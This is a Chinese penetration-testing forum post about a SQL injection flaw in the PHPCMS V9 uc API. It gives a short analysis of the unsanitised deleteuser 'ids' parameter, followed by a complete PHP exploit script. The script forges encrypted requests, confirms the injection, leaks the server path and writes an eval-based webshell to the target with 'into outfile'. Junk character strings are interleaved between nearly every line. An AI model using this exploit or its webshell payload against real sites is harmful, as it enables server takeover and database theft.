中国网络渗透测试联盟
标题:
PHPCMS V9 uc API SQL注入漏洞
[打印本页]
作者:
admin
时间:
2013-2-9 01:22
标题:
PHPCMS V9 uc API SQL注入漏洞
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
- R H& l$ G% v& A5 R) y
X- f7 a; \( P" W4 e/ q' ^/ V+ F! z
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
8 Z: H1 h* w- y- Y
9 A9 P; P( A2 g5 Q4 Y/ k5 n
漏洞分析:
5 z" g5 |9 J5 k( y( r( [% N- v
1.未启用ucenter服务的情况下uc_key为空
4 }3 \2 H4 Q! \# f) F
define('UC_KEY', pc_base::load_config('system', 'uc_key'));
0 D, F6 A! L% Y
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
- R8 n& A, D5 t7 M
public function deleteuser($get,$post) {
. y$ w, F9 f+ h/ N) g. e% m- B: X
pc_base::load_app_func('global', 'admin');
( N& Y, X' ^3 n+ a# y
pc_base::load_app_class('messagequeue', 'admin' , 0);
7 d% A q, z0 e
$ids = new_stripslashes($get['ids']);
4 E' T+ y' `8 G* T* P
$s = $this->member_db->select("ucuserid in ($ids)", "uid");
. G7 T6 d& Y$ d$ v& ?
SQL语句为
" u9 P8 ~3 R, L4 R S0 i3 R5 {# A* I
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
$ E0 W3 N ~7 x# F2 k
( q4 O' w3 o; N* M0 o
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
2 X7 N# R+ B7 g: B
<?php
' u; m9 w# r* i- J( q
print_r('
3 [; i7 P! C, Z, s* C5 p
---------------------------------------------------------------------------
3 [9 B- U; _9 `+ ~
PHPcms (v9 or Old Version) uc api sql injection 0day
5 P" C$ C& B% X' t3 v7 U6 T1 w
by rayh4c#80sec.com
4 D; \" D' z+ w4 |; ~% U
---------------------------------------------------------------------------
* F+ z+ w2 W0 `" h6 ]# L
');
3 c! s2 E" E+ T( u# e
( {6 V/ j! V( V' E# d
if ($argc<3) {
: i r7 j2 O4 V% V6 i- w
print_r('
q3 T& @$ h" r
---------------------------------------------------------------------------
$ n+ n$ Z7 m8 `+ S. r1 _) M6 d/ m% W/ G
Usage: php '.$argv[0].' host path OPTIONS
3 u+ g6 ]" v/ E" w+ q4 l% J! ]
host: target server (ip/hostname)
" S$ S% F7 }; n# B9 Z5 \# E9 N
path: path to phpcms
: w% `8 w" r# x0 |! J. g
Options:
& t4 N' x& c1 j0 E6 D7 T' l: k5 G
-p[port]: specify a port other than 80
" S* {/ s Z4 S/ E1 v
-P[ip:port]: specify a proxy
& o$ g; N! o# x! w
Example:
" S# H& ~5 g/ T7 \# ?% d
php '.$argv[0].' localhost /
" |4 B9 C+ S4 ^3 ?! s3 _8 b
php '.$argv[0].' localhost /phpcms/ -p81
4 c8 X& E v* N
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
$ T: R5 e6 Y0 P& d
---------------------------------------------------------------------------
" R3 @3 t7 Y9 r; O: V: f
');
z4 E4 `# g9 S A
die;
) i( e/ r) s: q& N) {+ T/ C T( ~
}
7 _7 `1 [1 ~5 o3 _/ G4 ]( s
* [7 H" q( U% `7 ^( a# U& Y k- `
error_reporting(7);
8 t @: `' R7 l o2 w- Z$ I
ini_set("max_execution_time",0);
/ _9 V* U0 I# [) ^- z ~/ _" R7 S1 [6 ^ ^
ini_set("default_socket_timeout",5);
' f# O6 R: y1 X6 L: S5 j# n6 d
/ w6 G% k7 d* \( p) R
function quick_dump($string)
3 m- K; h& X- J3 X( [
{
; B, C' s+ Z' n7 K' d5 q8 x7 `
$result='';$exa='';$cont=0;
: ]$ u W/ W& I' p% W8 Y% W
for ($i=0; $i<=strlen($string)-1; $i++)
7 M- }7 s2 c5 l% f' y0 C
{
( P. c5 }: F$ ?! {% N2 d- c
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
5 u: M1 y# Q3 T! l1 l. N
{$result.=" .";}
( Z3 r# s3 r/ k9 n7 m' e, C0 N0 K
else
- X: y* K, o! Y& z8 b( H8 f
{$result.=" ".$string[$i];}
4 Y$ n9 D: f7 O- M- {1 b: `
if (strlen(dechex(ord($string[$i])))==2)
( p4 Z/ [* Y8 q
{$exa.=" ".dechex(ord($string[$i]));}
/ F+ O v* z$ l, D' G( E$ A4 p
else
1 v. {# k! o8 s' N! p7 R
{$exa.=" 0".dechex(ord($string[$i]));}
- i% f! I. }0 T% g$ c; x6 }/ I% _# [
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
% a$ Y# w9 r+ c" \
}
" p, D( u7 T7 y0 }5 a% C
return $exa."\r\n".$result;
6 {, N/ H4 w2 S: [
}
- V& j- b" N+ a0 @$ D
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
; P# O1 ], m: ?
* y' M$ d# V& W6 |
function send($packet)
9 Z! w4 Y& L. y; J# R3 W
{
8 R0 N. d$ y% S$ v/ k" B, \! q
global $proxy, $host, $port, $html, $proxy_regex;
: p% z3 A9 w8 K% g' H
if ($proxy=='') {
4 ~3 ?) A. r" H+ v) C
$ock=fsockopen(gethostbyname($host),$port);
! K( E+ l# L; \: h
if (!$ock) {
2 r ?9 M2 b, A) t% X
echo 'No response from '.$host.':'.$port; die;
( P, y+ S- @* S: M4 f
}
% e% e* G2 \) D2 p! h; U3 L; t
}
5 r! s) N' Q% }# d' {6 n3 a
else {
9 T+ a' B1 W; \$ e" ^
$c = preg_match($proxy_regex,$proxy);
( f* X& D; E n7 S% _
if (!$c) {
4 m2 Y. b- G% P6 v7 M+ H
echo 'Not a valid proxy...';die;
. d" N( P1 L( D8 V* W* s. j W
}
) G: E5 m5 T- ]# ^/ h$ L, f+ g
$parts=explode(':',$proxy);
: \4 H% F4 `1 c5 {2 n( X: h* q8 M) w
$parts[1]=(int)$parts[1];
- {6 V. o9 ~' m# b/ I7 u5 A( }
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
& p5 O) D5 M. t( E( @5 `! _, |
$ock=fsockopen($parts[0],$parts[1]);
4 J& k3 F2 H$ _) y' I' h
if (!$ock) {
# }9 ]( I) O& o) `- V
echo 'No response from proxy...';die;
8 W1 A3 q+ y/ E& P( g9 ]# D
}
8 _6 _, k) \ I+ a* h5 T
}
- ?1 N2 V: F8 t% Z. B
fputs($ock,$packet);
. o( n& ?' ^! ^2 A; C
if ($proxy=='') {
" X. x6 [7 N& X3 ?. P, v6 c+ o
$html='';
# I& B7 n+ y7 p3 o. ] }
while (!feof($ock)) {
- k8 k3 B% P6 H+ n- t- e: p
$html.=fgets($ock);
* d. W3 U$ t& Y4 ~% I% w g
}
$ t) f: S. l. {. ]" q
}
, t; b, h5 {* e7 z; C
else {
, m3 s$ ~+ K# {8 ]' x* `
$html='';
: Q$ o3 O8 N/ a7 m8 c4 Y+ x7 }
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
# ?* m1 z, ~2 ?/ h, Q
$html.=fread($ock,1);
; f$ x+ J- @ w: e
}
$ `! V4 g% A4 p! E0 P
}
; f5 d8 X+ k) C* Q# I
fclose($ock);
% t4 \( Z6 u2 R; x: ~2 M
}
1 e8 p: N- U) H1 H
% k" n4 |; ^4 I/ c" o8 `
$host=$argv[1];
0 L1 \- B3 ~ t6 i u* n b+ \
$path=$argv[2];
. C b! ?; f' Q' [! W* Q- B" |
$port=80;
8 x W! p, u; ~# s/ c q
$proxy="";
! K5 l! C4 [6 C+ ?3 I
for ($i=3; $i<$argc; $i++){
3 ^: ~3 z0 h8 O- Q; B! M
$temp=$argv[$i][0].$argv[$i][1];
H" _; h* S" d1 f# ], i( p
if ($temp=="-p")
' v2 n4 X' U' E0 I* [
{
3 H! k) Z! c1 s: \+ P
$port=(int)str_replace("-p","",$argv[$i]);
' A1 G, w) {* M1 X3 ~9 d# J1 w
}
. A4 g$ [0 m T
if ($temp=="-P")
0 I! z- R9 q# {
{
( a4 P0 A9 l9 f* H8 `
$proxy=str_replace("-P","",$argv[$i]);
" J2 _, }3 {# n) C1 Y+ D R
}
9 i7 y( f! ^# l+ F: K, s
}
/ C2 F* ^* X9 F# U) f
2 w5 K; M( @, P( |
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
9 W C6 Y4 @; S9 I/ C* s/ j- l
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
5 o/ d Z9 O2 C$ [% q
K( R: o" ~' _. r5 a, V
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
+ j9 Z$ X ]7 R Y
3 M' I' M& a5 ?+ G4 E* t( F. `) B4 a
$ckey_length = 4;
3 w* b& V- h. d; m* I8 `4 \, c% X
% x# W7 b# \0 @; {4 i; L
$key = md5($key ? $key : '');
( R+ g- {- b$ b1 N
$keya = md5(substr($key, 0, 16));
( U( ?" Y' L& r# |7 P! L
$keyb = md5(substr($key, 16, 16));
# w$ G3 D; k' }1 @/ \ |1 p7 O
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
0 T4 L: y4 y, z& ^0 F( m
& t% k) c& B9 {- L2 F; T7 d4 n
$cryptkey = $keya.md5($keya.$keyc);
( m% |/ ]7 g0 b# |/ `
$key_length = strlen($cryptkey);
% Y/ I- X) o5 m0 q5 A% ^
. \$ S; ?5 N& Y# a. }
$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
" n5 o; I% F& I# g) u) d7 B
$string_length = strlen($string);
% d0 A" }( d2 n% i! K, b# L" E; Q
3 A7 u$ P7 r2 F- D. q
$result = '';
0 B5 {6 b9 [8 g7 @, ^
$box = range(0, 255);
! ~% r1 K: p- v; t7 F* m& r% |
" D7 ^& ]3 e1 }0 o4 e, I5 S
$rndkey = array();
8 c, t: j0 K/ ^
for($i = 0; $i <= 255; $i++) {
* p; @' @9 `. j0 D, `, Z* Z
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
f+ B0 A8 t* S0 h* n# l
}
# r) F" v ^! A6 [- h
. {0 O1 |( L& k8 f) v4 n! @
for($j = $i = 0; $i < 256; $i++) {
8 D3 D, e" a- |# \2 d* g
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
. V; ]3 f/ E% l' b* L- n8 r; N
$tmp = $box[$i];
$ v* O8 a- ]* F6 ~3 d$ [- k
$box[$i] = $box[$j];
7 ~' N8 u" {: d$ }# }
$box[$j] = $tmp;
. d% k4 q. s2 L7 M9 K1 J
}
. ~) u8 {5 @/ H, I4 {3 {9 E
# ]) d5 w* b" b4 K
for($a = $j = $i = 0; $i < $string_length; $i++) {
& ~7 a g4 a* S M) `0 ^
$a = ($a + 1) % 256;
0 c/ z" w; a" k$ {- C& v
$j = ($j + $box[$a]) % 256;
R+ e; \3 R8 `
$tmp = $box[$a];
! O1 V+ v, p. B! h$ A
$box[$a] = $box[$j];
6 r9 _& U% g6 z( b
$box[$j] = $tmp;
0 ^9 ?4 k- e- G3 [+ s b7 `
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
8 \9 n4 N: Q1 @$ [
}
! c" k2 j2 f0 d& N: l& K5 ^0 W$ z5 A" Q
3 ` j( n. p; i( @) w% i
if($operation == 'DECODE') {
% i/ }& E% M4 b1 D# T. @
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
) B2 q! V k+ e- h# \( h
return substr($result, 26);
7 ?* }2 v; A' a" b
} else {
8 g! S9 l% x/ S+ V
return '';
) |9 K1 |4 n Z9 \4 B/ B
}
$ ?4 Q' P. o0 r. W2 e
} else {
# e* N- O2 {" r7 [- n8 L
return $keyc.str_replace('=', '', base64_encode($result));
c7 _" V2 d6 _1 N# ^
}
, p+ T1 y: c) n% I- m3 U
( x4 I" p: N' D
}
; u* L0 a$ `! P+ Q$ R+ R
! l6 ^' k, C( f/ q: x5 _4 F
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
5 t" l$ f6 n! W/ ?- ]
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
7 g2 R4 J$ m0 v3 }
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
/ B: g }- d2 \/ ~
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
( N; D' J; V/ ~, J0 M
$packet.="User-Agent: Mozilla/5.0\r\n";
7 W( r! U, Y; h+ c! Z. O3 d; t
$packet.="Host: ".$host."\r\n";
0 J; p, r: l- |( u
$packet.="Connection: Close\r\n\r\n";
7 }1 m, P# E/ w$ P% y
send($packet);
3 [7 {0 ?* s a% t: t; m# F
if(strpos($html,"MySQL Errno") > 0){
! ?0 @$ D' } c3 R
echo "[2] 发现存在SQL注入漏洞"."\n";
+ a# T7 P6 E) P7 |9 E
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
9 _0 d* z' z+ \- \1 C* }- }
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
5 @; V! O& u _8 y8 |- D. j1 G
$packet.="User-Agent: Mozilla/5.0\r\n";
( k+ H% L! |- {! `) `: [7 ?
$packet.="Host: ".$host."\r\n";
- U5 |% L) o# x) `3 P' n% H
$packet.="Connection: Close\r\n\r\n";
. U, [: U. h4 y2 E; L/ @; ]5 n
send($packet);
, M" D7 h# {2 J+ V
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
# d b c. t7 D; b
//print_r($matches);
) S3 u! U8 D0 }8 [: |4 |
if(!empty($matches)){
* r! R; ~' v" K6 q0 g& I' b/ t
echo "[4] 得到web路径 " . $matches[0]."\n";
0 |, k2 n! w: j; ^7 y
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
) k' U( x8 Z' V4 [4 M
$SQL = "time=999999999999999999999999&ids=1)";
# k% \7 W- t7 \* h _8 Q
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
; w+ W, k8 s8 Y
$SQL.="&action=deleteuser";
" E" \# V2 z- O9 U x0 K
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
; r* k6 C. {/ a$ [5 \2 n0 s
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
) V+ u/ M- r% |3 I' d
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
, E2 ~% ~' S6 W/ b5 [" [
$packet.="User-Agent: Mozilla/5.0\r\n";
) R" K& S! G n( Q1 d. T" ^6 n
$packet.="Host: ".$host."\r\n";
) g1 U! p$ F$ [! m% m
$packet.="Connection: Close\r\n\r\n";
/ } q# ]- V( }* u% ?& n" ^1 W
send($packet);
# ~+ V1 `; W& [; [8 j% @
if(strpos($html,"Access denied") > 0){
! N5 q+ }3 R4 [$ V5 ~- K
echo "[-] MYSQL权限过低 禁止写入文件
";
, x3 z p: q! o6 h4 G0 [, w
die;
8 J! {) ^% T/ T+ R
}
% r9 ^7 T5 `6 H& q0 }. O$ g
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";
5 |8 Z5 h3 ]1 y* H2 b5 {% w# L
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
# M/ L3 L+ P8 D5 q8 a
$packet.="User-Agent: Mozilla/5.0\r\n";
$ I0 Q9 i4 F9 P. a" _' V
$packet.="Host: ".$host."\r\n";
3 [" F4 o2 }6 N; O" I1 V9 C
$packet.="Connection: Close\r\n\r\n";
- l) w! X5 g5 \+ t" ]
send($packet);
7 X" p/ U3 x H% ]3 ?6 i% O
if(strpos($html,"<title>phpinfo()</title>") > 0){
8 G3 N/ T1 p# H( }* Z, e
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it
";
! a+ s {- K2 @5 Q
}
7 v8 u3 Z- Q! N6 o0 s
}else{
) {4 n5 b5 H- \$ ^9 H$ H3 Z6 F( o
echo "[-]未取到web路径
";
7 ^1 d6 K# _7 Q* d: q
}
8 B& V" {1 C2 G- C o8 A0 h% R
}else{
9 V. i, [4 [: H2 ~% X
echo "[*]不存在SQL注入漏洞"."\n";
' }! z0 J. J& F$ [& N/ n! C+ F
}
8 S. j+ U# g8 v( Q* u0 y! M" |
2 k0 d; \ u: T5 a; U( y
?>
) B2 S, p8 x0 F
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2